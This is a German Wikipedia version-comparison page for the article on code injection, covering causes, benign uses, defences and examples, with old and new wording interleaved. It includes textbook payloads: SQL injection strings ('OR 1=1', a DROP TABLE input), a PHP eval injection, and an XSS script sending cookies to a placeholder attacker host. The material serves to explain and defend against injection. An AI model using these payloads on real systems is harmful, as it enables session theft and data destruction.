Zum Inhalt springen

„Code Injection“ – Versionsunterschied

aus Wikipedia, der freien Enzyklopädie
[gesichtete Version][gesichtete Version]
Inhalt gelöscht Inhalt hinzugefügt
K Shell-Injektion: doppelten Link entfernt
 
(31 dazwischenliegende Versionen von 19 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
'''Code-Injektion''' ist die Ausnutzung eines [[Computerfehler]]s, der durch die Verarbeitung ungültiger Daten verursacht wird. Die Injektion wird von einem [[Hacker (Computersicherheit)|Angreifer]] genutzt, um [[Quellcode|Code]] in ein verwundbares [[Computerprogramm]] einzuschleusen (oder zu "injizieren") und den Ablauf der [[Ausführung (Informatik)|Ausführung]] zu verändern. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, indem sich z. B. [[Computervirus]]e oder [[Computerwurm]]e verbreiten können.
'''Code-Injektion''' ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines [[Programmfehler|Computerfehlers]]. Dabei werden externe Daten von einem [[Hacker (Computersicherheit)|Angreifer]] genutzt, um [[Quellcode|Code]] in ein verwundbares [[Computerprogramm]] einzuschleusen (zu „injizieren“) und zur [[Ausführung (Informatik)|Ausführung]] zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von [[Schadsoftware]].


Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird.
Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen [[Interpreter]] sendet. Injektionsschwachstellen werden am häufigsten in [[SQL]], [[LDAP]], [[XPath]], [[NoSQL]]-Abfragen, Betriebssystembefehlen, [[XML]] [[Parser]]n, [[SMTP]]-Kopfzeilen, Programmargumenten usw. Injektionsschwachstellen sind in der Regel bei der Untersuchung des Quellcodes leichter zu entdecken als durch Tests.<ref>{{Cite web|url=http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php|title=Top 10 Web Application Security Vulnerabilities|publisher=University of Pennsylvania|website=Penn Computing|access-date=10 December 2016|archive-url=https://web.archive.org/web/20180224034000/http://www. upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php|archive-date=24. Februar 2018|url-status=dead}}</ref> Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.<ref name="OWASP10_A1">{{cite web|url=https://www.owasp.org/index.php/Top_10_2013-A1-Injection|title=OWASP Top 10 2013 A1: Injection Flaws|publisher=OWASP|access-date=19. Dezember 2013}}</ref>


Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen [[Interpreter]] sendet. Am häufigsten treten sie auf in [[SQL]], [[Lightweight Directory Access Protocol|LDAP]], [[XPath]], [[NoSQL]]-Abfragen, Betriebssystembefehlen, [[Extensible Markup Language|XML]]-[[Parser]]n, [[Simple Mail Transfer Protocol|SMTP]]-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.<ref>{{Internetquelle |url=https://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php |titel=Top 10 Web Application Security Vulnerabilities |werk=Penn Computing |hrsg=University of Pennsylvania |archiv-url=https://web.archive.org/web/20180224034000/http://www. upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php |archiv-datum=2018-02-24 |abruf=2016-12-10 |sprache=en}}</ref> Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.<ref name="OWASP10_A1">{{Internetquelle |url=https://www.owasp.org/index.php/Top_10_2013-A1-Injection |titel=OWASP Top 10 2013 A1: Injection Flaws |hrsg=OWASP |abruf=2013-12-19 |sprache=en}}</ref>
Injektion kann zu Datenverlust oder -beschädigung, fehlender Verantwortlichkeit oder [[Denial-of-Service-Angriff|Zugriffsverweigerung]] führen. Injektion kann manchmal zu einer kompletten Hostübernahme führen.


Injektion kann zu Datenverlust oder -beschädigung oder [[Denial-of-Service-Angriff|Zugriffsverweigerung]] führen manchmal sogar zu einer kompletten Hostübernahme.
Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen. Ähnliche Interpretationsfehler gibt es auch außerhalb der Informatik, z. B. in der Comedy-Routine ''Wer ist zuerst dran?''. In dieser Routine werden Eigennamen nicht von normalen Wörtern unterschieden. In ähnlicher Weise wird bei einigen Arten von Code-Injection nicht zwischen Benutzereingaben und Systembefehlen unterschieden.


Code-Injection-Techniken sind bei System-[[Hacker (Computersicherheit)|Hacking]] oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:
Code-Injection-Techniken sind bei System-[[Hacker (Computersicherheit)|Hacking]] oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:


* Arbiträres Verändern von Werten in einer [[Datenbank]] durch [[SQL-Injection]]. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.
* Beliebiges Verändern von Werten in einer [[Datenbank]] durch [[SQL-Injection]]. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.
* Installieren von [[Malware]] oder Ausführen von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie [[PHP]] oder [[Active Server Pages|ASP]]).
* Installieren von [[Malware]] oder Ausführen von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie [[PHP]] oder [[Active Server Pages|ASP]]).
* [[Privilegieneskalation]] zu [[Superuser|root]]-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem [[Setuid|setuid root]]-Binary unter UNIX oder [[Superuser|Local System]] durch Ausnutzung eines Dienstes unter [[Microsoft Windows]].
* [[Privilegieneskalation]] zu [[Superuser|root]]-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem [[Setuid|setuid root]]-Binary unter UNIX oder [[Superuser|Local System]] durch Ausnutzung eines Dienstes unter [[Microsoft Windows]].
* Angriffe auf Web-Benutzer mit [[HTML]]/Skript-Injektion ([[Cross-Site-Scripting]]).
* Angriffe auf Web-Benutzer mit [[Hypertext Markup Language|HTML]]-Skript-Injektion ([[Cross-Site-Scripting]]).


Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als ''Code Injection'' klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.<ref>{{Cite web|url=http://web.nvd.nist.gov/view/vuln/statistics|title=NVD - Statistics Search|website=web.nvd.nist.gov|access-date=2016-12-09}}</ref>
Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als ''Code Injection'' klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.<ref>{{Internetquelle |url=https://web.nvd.nist.gov/view/vuln/statistics |titel=NVD - Statistics Search |werk=web.nvd.nist.gov |abruf=2016-12-09 |sprache=en}}</ref>


== Gute und ungewollte Verwendung ==
== Gute und ungewollte Verwendung ==
Theoretisch kann Code-Injektion mit guten Absichten verwendet werden,<ref>{{Internetquelle |autor=Raghunathan Srinivasan |url=https://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf |titel=Towards More Effective Virus Detectors |werk=Arizona State University |archiv-url=https://web.archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf |archiv-datum=2010-07-29 |abruf=2010-09-18 |sprache=en |zitat=Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.}}</ref><ref>{{Literatur |Titel=Lecture Notes in Computer Science, Jose Andre Morales, Ravi Sandhu, Shouhuai Xu, Erhan Kartaltepe |Verlag=Springer |Ort=Berlin / Heidelberg |Datum=2010 |Sprache=en |ISBN=978-3-642-14705-0 |Kapitel=Symptoms-Based Detection of Bot Processes |DOI=10.1007/978-3-642-14706-7_18}}</ref> indem etwa eine Suchergebnisseite eine nützliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei [[Penetrationstest (Informatik)|Penetrationstests]], leistet Code-Injektion gute Dienste („[[Hacker (Computersicherheit)#White-, Grey- und Black-Hats|White Hat]]“). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen – etwa eine Bibliotheksfunktion vorübergehend durch eine eigene Funktion mit gleichem Namen überschreiben.<ref>{{Internetquelle |url=https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/ |titel=Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen |werk=Rafał Cieślak’s blog |datum=2013-04-02 |abruf=2016-12-10 |sprache=en}}</ref>
Code-Injektion kann mit guten Absichten verwendet werden; zum Beispiel kann das Ändern oder Optimieren des Verhaltens eines Programms oder Systems durch Code-Injektion dazu führen, dass sich das System auf eine bestimmte Art und Weise verhält, ohne dass eine böswillige Absicht vorliegt.<ref>{{Cite web|url=http://www. public.asu.edu/~rsriniv8/Documents/srini-das.pdf|title=Towards More Effective Virus Detectors|last=Srinivasan|first=Raghunathan|work=Arizona State University|quote=Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.|access-date=18 September 2010|url-status=dead|archive-url=https://web. archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das. pdf|archive-date=29 July 2010}}</ref><ref>{{cite book|last=Morales|chapter=Symptoms-Based Detection of Bot Processes|doi=10. 1007/978-3-642-14706-7_18|issn=0302-9743|isbn=978-3-642-14705-0|year=2010|location=Berlin, Heidelberg|publisher=Springer|title=Lecture Notes in Computer Science|first=Jose Andre|first4=Ravi|last4=Sandhu|first3=Shouhuai|last3=Xu|first2=Erhan|last2=Kartaltepe|citeseerx=10.1.1.185.2152}}</ref> Code-Injektion könnte zum Beispiel:


Natürlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hält beispielsweise etwas für eine gültige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden – vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlädt.
* Eine nützliche neue Spalte einführen, die im ursprünglichen Design einer Suchergebnisseite nicht enthalten war.
* Eine neue Möglichkeit bieten, Daten zu filtern, zu ordnen oder zu gruppieren, indem ein Feld verwendet wird, das nicht in den Standardfunktionen des ursprünglichen Designs enthalten ist.
* In Bezug auf Programme wie Dropbox spezielle Teile hinzufügen, die verwendet werden können, um eine Verbindung zu Online-Ressourcen in einem Offline-Programm herzustellen.
* Nutzen Sie den Linux Dynamic Linker, um eine Funktion mit demselben Namen wie bestimmte [[libc]]-Funktionen zu definieren, diese Funktion als Bibliothek zu linken und die Verwendung der libc-Funktion außer Kraft zu setzen.<ref>{{Cite web|url=https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/|title=Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen|date=2013-04-02|website=Rafał Cieślak's blog|access-date=2016-12-10}}</ref>

Einige Benutzer können ahnungslos Code-Injektionen durchführen, weil Eingaben, die sie in ein Programm eingeben, von denjenigen, die das System ursprünglich entwickelt haben, nicht berücksichtigt wurden. Zum Beispiel:

* Was der Benutzer für eine gültige Eingabe hält, kann Token-Zeichen oder [[Zeichenkette]]n enthalten, die vom Entwickler mit einer besonderen Bedeutung versehen wurden (vielleicht das "&" in "Shannon & Jason" oder Anführungszeichen wie in "Bub 'Slugger' McCracken").
* Der Benutzer kann eine missgebildete Datei als Eingabe senden, die in einer Anwendung korrekt verarbeitet wird, aber für das empfangende System schädlich ist.

Eine andere gutartige Verwendung von Code-Injektion könnte die Entdeckung von Injektionsfehlern selbst sein, mit der Absicht, diese Fehler zu beheben. Dies ist als White Hat bekannt. [[Penetrationstest]].


== Verhindern von Problemen ==
== Verhindern von Problemen ==
Um Code-Injection-Probleme zu verhindern, verwenden Sie eine sichere Handhabung von Ein- und Ausgaben, wie z. B.:
Um Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:


* Verwendung von APIs, die bei richtiger Verwendung gegen alle Eingabezeichen sicher sind. Parametrisierte Abfragen (auch bekannt als "kompilierte Abfragen", "vorbereitete Anweisungen", "gebundene Variablen") ermöglichen das Auslagern von Benutzerdaten aus der zu interpretierenden Zeichenkette. Zusätzlich kann die Criteria API<ref>{{cite web|url=http://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html|title=The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries|publisher=Oracle|access-date=2013-12-19}}</ref> und ähnliche APIs vom Konzept der zu erstellenden und zu interpretierenden Befehlsstrings ab.
* Die verwendete [[Programmierschnittstelle]] („API“) sollte gegen alle Eingaben sicher sind, wie etwa vorkompilierte SQL-Anweisung mit Platzhaltern für die Benutzerdaten oder die Criteria API.<ref>{{Internetquelle |url=https://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html |titel=The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries |hrsg=Oracle |abruf=2013-12-19 |sprache=en}}</ref>
* Erzwingen der Sprachentrennung über ein statisches Typensystem.<ref name="types">{{cite web|url=http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html|title=Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher?|date=2006-10-18|last=Moertel|first=Tom|website=Tom Moertel's Blog|access-date=2018-10-21}}</ref>
* Erzwingen der Sprachentrennung über ein statisches Typensystem.<ref name="types">{{Internetquelle |autor=Tom Moertel |url=https://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html |titel=Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher? |werk=Tom Moertel’s Blog |datum=2006-10-18 |abruf=2018-10-21 |sprache=en}}</ref>
* Eingabevalidierung, z. B. [[Whitelisting]] nur bekanntermaßen guter Werte, dies kann clientseitig z. B. mit JavaScript erfolgen oder serverseitig, was sicherer ist.
* Eingabevalidierung durch (möglichst serverseitiges) [[Whitelisting]], also einer Liste akzeptierter Werte.
* Eingabekodierung, z. B. das Escapen gefährlicher Zeichen. In PHP z. B. mit der Funktion <code>htmlspecialchars()</code>, um Sonderzeichen für die sichere Ausgabe von Text in HTML zu escapen, und <code>mysqli::real_escape_string()</code>, um Daten zu isolieren, die in eine SQL-Anfrage aufgenommen werden, zum Schutz vor SQL Injection.
* Eingabekodierung, z.&nbsp;B. das [[Escape-Sequenz|Escapen]] ungewollter Zeichen. In PHP z.&nbsp;B. mit der Funktion <code>htmlspecialchars()</code>, die Sonderzeichen für die sichere Ausgabe in HTML umschreibt, und <code>mysqli::real_escape_string()</code>, die Daten für eine SQL-Anfrage isoliert
* Ausgabekodierung, d.&nbsp;h. Verhinderung von [[Cross Site Scripting|HTML Injection (XSS)]]-Attacken gegen Website-Besucher
* Entsprechende Ausgabekodierung zur Verhinderung von [[Cross Site Scripting|HTML-Injection]]-Attacken gegen Website-Besucher.
* <code>HttpOnly</code> ist ein Flag für [[HTTP-Cookie]]s, das, wenn es gesetzt ist, keine clientseitige Skriptinteraktion mit Cookies zulässt und damit bestimmte XSS-Angriffe verhindert.<ref>{{Cite web|url=https://www.owasp.org/index.php/HttpOnly|title=HttpOnly|date=2014-11-12|website=OWASP|access-date=2016-12-10}}</ref>
* <code>HttpOnly</code> ist ein Flag für [[HTTP-Cookie]]s, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe.<ref>{{Internetquelle |url=https://www.owasp.org/index.php/HttpOnly |titel=HttpOnly |werk=OWASP |datum=2014-11-12 |abruf=2016-12-10 |sprache=en}}</ref>
* Modulare Shell-Abkopplung vom Kernel
* Modulare Shell-Abkopplung vom Kernel
* Bei SQL-Injection kann man parametrisierte Abfragen, [[Stored Procedure]]s, Whitelist-Eingabevalidierung und mehr verwenden, um Code-Injection-Probleme zu entschärfen.<ref>{{Cite web|url=https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet|title=SQL Injection Prevention Cheat Sheet|website=OWASP|access-date=2016-12-10}}</ref>


Die oben aufgeführten Lösungen befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Ansätze, die verwendet werden, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren, sind:
Diese Lösungsvorschläge befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Vorschläge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:


* Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
* Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
* [[NX-Bit]] – '''NX-Bit''' – alle Benutzerdaten werden in einem speziellen Speicherbereich gespeichert, der als nicht ausführbar markiert ist. Der Prozessor wird darauf aufmerksam gemacht, dass in diesem Teil des Speichers kein Code vorhanden ist, und weigert sich, etwas auszuführen, das dort gefunden wird.
* [[NX-Bit]] – Alle Benutzerdaten kommen in einen speziellen Speicherbereich, der als nicht ausführbar markiert ist. Der Prozessor weiß dann, dass dort kein Code vorhanden sein kann, und lehnt dort die Ausführung ab.
* Kanarien – legen zufällig Werte in einem Stack ab. Zur Laufzeit wird ein Canary überprüft, wenn eine Funktion zurückkehrt. Wenn ein Canary verändert wurde, stoppt das Programm die Ausführung und wird beendet. Dies geschieht bei einem Stack Overflow Attack.
* ''Canaries'' Diese legen zufällig Werte auf einen Stack. Nach der Rückkehr der Funktion wird der Wert überprüft und bei Veränderung das Programm gestoppt. Dies verhindert [[Stack Overflow|Stack-Overflow]]-Attacken.
* [[In C]]Code Pointer Masking (CPM) – nach dem Laden eines (potenziell veränderten) Codezeigers in ein Register wird eine Bitmaske auf den Zeiger angewendet. Dies schränkt effektiv die Adressen ein, auf die der Zeiger verweisen kann.<ref>{{cite journal |author=Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter |title=CPM: Masking Code Pointers to Prevent Code Injection Attacks |url=http://fort-knox.org/files/tissec.pdf |pages=1–27 |doi=10.1145/2487222.2487223 |issn=1094-9224 |date=2013-06-01 |issue=1 |volume=16 |journal=ACM Transactions on Information and System Security}}</ref>
* ''Code Pointer Masking'' (CPM) – Ein Zeiger auf auszuführenden Code wird zuvor auf Plausibilität geprüft. In [[C (Programmiersprache)|C]] kann dies auf Prozessorebene durch eine Bitmaske geschehen.<ref>{{Literatur |Autor=Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter |Titel=CPM: Masking Code Pointers to Prevent Code Injection Attacks |Sammelwerk=ACM Transactions on Information and System Security |Band=16 |Nummer=1 |Datum=2013-06-01 |Sprache=en |Seiten=1–27 |ISSN=1094-9224 |DOI=10.1145/2487222.2487223 |Online=[http://fort-knox.org/files/tissec.pdf Online]}}</ref>


== Beispiele ==
== Beispiele ==


=== SQL-Injektion ===
=== SQL-Injektion ===
{{Main|SQL-Injektion}}
{{Hauptartikel|SQL-Injektion}}
Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.
Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.


Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine [[SQL]]-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:
Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine [[SQL]]-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:
<syntaxhighlight lang="SQL">
<syntaxhighlight lang="sql">
SELECT BenutzerListe.Benutzername
SELECT BenutzerListe.Benutzername
FROM BenutzerListe
FROM BenutzerListe
Zeile 70: Zeile 59:
FROM BenutzerListe
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ' OR '1'='1'
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'
</syntaxhighlight>
</syntaxhighlight>
Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort "XYZ" (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.
Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort „XYZ“ (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.


Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: <code>';DROP TABLE BenutzerListe; --</code>. In diesem Fall entsteht folgende Datenbankabfrage:
Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: <code>';DROP TABLE BenutzerListe; --</code>. In diesem Fall entsteht die folgende Datenbankabfrage:
<syntaxhighlight lang="sql">
<syntaxhighlight lang="sql">
SELECT BenutzerListe.Benutzername
SELECT BenutzerListe.Benutzername
FROM BenutzerListe
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';DROP TABLE BenutzerListe; --AND BenutzerListe.Passwort = ''
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''
</syntaxhighlight>
</syntaxhighlight>
Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als nächstes folgt eine DROP-Anweisung, die die komplette Tabelle <code>BenutzerListe</code> sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.
Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als Nächstes folgt eine DROP-Anweisung, die die komplette Tabelle <code>BenutzerListe</code> sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.


=== Cross-Site-Scripting ===
=== Cross-Site-Scripting ===
{{Main|Cross-Site-Scripting}}
{{Hauptartikel|Cross-Site-Scripting}}
Code-Injektion ist die böswillige Injektion oder Einführung von Code in eine Anwendung. Einige [[Webserver]]s haben ein [[Gästebuch]]-Skript, das kleine Nachrichten von Benutzern annimmt und typischerweise Nachrichten wie:
Code-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein [[Gästebuch]] an, in dem Besucher kleine Nachrichten hinterlassen sollen Dinge wie
<syntaxhighlight lang="html">
<nowiki>Sehr schöne Seite!</nowiki>
Sehr schöne Seite!
Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende eingeben:
</syntaxhighlight>
<syntaxhighlight lang="html4strict">Schöne Seite, ich denke, ich werde sie nehmen. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight>
Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen:
Wenn ein anderer Benutzer die Seite aufruft, wird der injizierte Code ausgeführt. Dieser Code kann es dem Angreifer ermöglichen, sich als ein anderer Benutzer auszugeben. Allerdings kann derselbe Software-Bug auch versehentlich von einem unbedarften Benutzer ausgelöst werden, was dazu führt, dass die Website fehlerhaften HTML-Code anzeigt.
<syntaxhighlight lang="html">

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>
HTML- und Skriptinjektion ist ein beliebtes Thema, das gemeinhin als "[[Cross-Site-Scripting]]" oder "XSS" bezeichnet wird. XSS bezieht sich auf einen Injektionsfehler, bei dem Benutzereingaben in ein Webskript oder etwas Ähnliches in das ausgegebene HTML platziert werden, ohne dass der HTML-Code oder das Skript überprüft werden.
</syntaxhighlight>
Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <code>&lt;script></code> bis <code>&lt;/script></code> gar nicht – statt ihn anzuzeigen, führt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwünschte Aktionen ausführen – wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.


Viele dieser Probleme hängen mit falschen Annahmen darüber zusammen, welche Eingabedaten möglich sind, oder mit den Auswirkungen von speziellen Daten.<ref name="HopeWalther">{{cite book|last1=Hope|first1=Brian|last2=Hope|first2=Paco|last3=Walther|first3=Ben|title=Web Security Testing Cookbook|url=https://archive. org/details/websecuritytesti00hope|url-access=registration|date=15 Mai 2009|publisher=[[O'Reilly Media]]|location=Sebastopol, CA|isbn=978-0-596-51483-9|page=[https://archive.org/details/websecuritytesti00hope/page/254 254]|oclc=297573828}}</ref>
Dieses Injizieren von Skripten in die [[Sitzung (Informatik)|Sitzung]] eines ahnungslosen folgenden Users wird als „[[Cross-Site-Scripting]]“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernimmt den Code des ersten Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.<ref name="HopeWalther">{{Literatur |Autor=Brian Hope, Paco Hope, Ben Walther |Titel=Web Security Testing Cookbook |Verlag=O’Reilly Media |Ort=Sebastopol CA |Datum=2009 |ISBN=978-0-596-51483-9 |Seiten=254 |Online=[https://archive.org/details/websecuritytesti00hope/page/254/mode/1up Online] |Sprache=en}}</ref>


=== Dynamische Auswertungsschwachstellen ===
=== Dynamische Auswertungsschwachstellen ===
Eine <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight>-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight>-Funktion eingespeist wird
Eine <syntaxhighlight lang="php" inline>eval()</syntaxhighlight>-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine <syntaxhighlight lang="php" inline>eval()</syntaxhighlight>-Funktion eingespeist wird
aufruft.<ref>{{cite mailing list|url=https://seclists.org/fulldisclosure/2006/May/35|title=Dynamische Auswertungsschwachstellen in PHP-Anwendungen|author=Steven M. Christey|date=3. Mai 2006|mailing-list=Full Disclosure|access-date=2018-10-21}}</ref>
aufruft.<ref>{{Internetquelle |autor=Steven M. Christey |url=https://seclists.org/fulldisclosure/2006/May/35 |titel=Dynamische Auswertungsschwachstellen in PHP-Anwendungen |datum=2006-05-03 |abruf=2018-10-21 |sprache=en}}</ref>
<syntaxhighlight lang="php">
<syntaxhighlight lang="php">
$myvar = 'somevalue';
$myvar = 'somevalue';
Zeile 102: Zeile 96:
eval('$myvar = ' . $x . ';');
eval('$myvar = ' . $x . ';');
</syntaxhighlight>
</syntaxhighlight>
Das Argument von "<code>[[eval]]</code>" wird als [[PHP]] verarbeitet, so dass weitere Befehle angehängt werden können. Wird "arg" beispielsweise auf "<syntaxhighlight lang="php" inline="">10; system('/bin/echo uh-oh')</syntaxhighlight>" gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall "<code>/bin/echo</code>".
Das Argument von <code>[[eval]]</code> wird als [[PHP]] verarbeitet, so dass weitere Befehle angehängt werden können. Wird <code>arg</code> beispielsweise auf <syntaxhighlight lang="php" inline>10; system('/bin/echo uh-oh')</syntaxhighlight> gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall <code>/bin/echo</code>.


=== Objektinjektion ===
=== Objektinjektion ===
